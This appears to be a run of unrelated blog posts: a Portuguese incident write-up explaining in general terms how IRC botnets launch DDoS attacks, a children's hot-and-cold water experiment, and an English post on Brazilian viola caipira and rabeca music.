Uma coisa que vale explicar é o bot de IRC. Ele serve para fazer ataques de DDoS (Distributed Denial of Service). Um bot fica constantemente conectado a uma sala de IRC pré-definida. Depois de invadir várias máquinas e ativar os respectivos bots, o cracker entra nessa sala de IRC e tem ao seu dispor um exército de bots distribuídos programados para executar ações ao seu comando. O DDoS acontece quando o cracker, via comandos aos bots na sala de IRC, faz os computadores invadidos enviarem simultaneamente grandes pacotes de dados para algum site-vítima, escolhido pelo cracker. Naquele momento, o link do site-vítima fica sobrecarregado, e a sensação é que ele está fora do ar. Isso pode durar o tempo que o cracker desejar.
Ataque Distributed Denial of Service

Esse processo foi ricamente detalhado pelo dono de um desses site-vítima, em grc.com/dos/grcdos.htm, e é leitura obrigatória a qualquer um que se interessa por segurança.

Em todas as análises que fizemos, não encontramos nada de útil no ataque do cracker. A máquina estava conectada a outras redes, mas não pareciam interessá-lo. A única conclusão que pudemos chegar é que o cracker ataca por atacar, e depois usa seu ataque para atacar mais. Só. Simplesmente isso. Sim, porque as ferramentas, técnicas e rastros deixados mostram que ele provavelmente usou ferramentas criadas por outros, talvez seguindo uma documentação que mostra os comandos prontos, passo a passo. Sem saber direito o que estava fazendo. Sem objetivos “mitnickianos”, nem financeiros, nem algo que o exaltasse perante outros crackers.

Só Freud explica…

Como Enganar Seus Sentidos

  1. Arrume 3 bacias ou 3 recipientes em que caibam suas mãos
  2. Coloque água gelada numa, água quente (mas não pelando) em outra, e água normal na terceira
  3. Mergulhe a mão esquerda na de água gelada e a direita na quente, e espere 30 segundos
  4. Tire e mergulhe as duas mãos juntas na terceira bacia e somente usando seus sentidos diga se ela está quente ou fria
  5. Preste atenção na temperatura que cada mão sente

Crianças adoram esta experiência.

Para os adultos, esta experiência tem uma “moral da estória” que depois eu conto.

Viola and Rabeca

The brazilian Viola Caipira has nothing to do with the orchestral Viola, used mostly in classical performances. It was brought to Brazil by the first portuguese people, and modified and evolved, making it almost a genuine, Brazilian-only instrument now.

It is used mostly on country-side small cities or farm regions of Brazil. And songs played with Viola Caipira sound like these places: home-made food, green landscapes, country life.

Almir Sater is a well known violeiro that used to be more active with the viola, and as an example, one of its beautiful compositions, Luzeiro, was used to open an old TV show focused on farming.

ViolaThere are other excellent violeiros, as Paulo Freire [blog], Roberto Correa, Ivan Vilela, Braz da Viola and many others. Levi Ramiro is one of my favorites, with its Estiva Grande.

Songs played with Viola use to be accompanied by a Rabeca, a sort of simplified violin. Luis Eduardo Gramani was one of our masters in Rabeca compositions, writing beautiful songs as Deodora.

Do not forget to right click on each song link to download the hi-fi MP3 file.